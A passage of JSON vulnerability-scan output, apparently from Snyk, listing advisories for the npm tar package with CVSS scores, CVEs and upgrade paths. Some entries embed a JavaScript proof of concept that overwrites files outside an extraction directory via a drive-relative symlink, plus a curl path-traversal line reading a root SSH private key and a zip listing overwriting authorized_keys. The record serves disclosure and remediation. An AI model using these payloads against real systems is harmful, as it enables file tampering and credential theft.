"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": 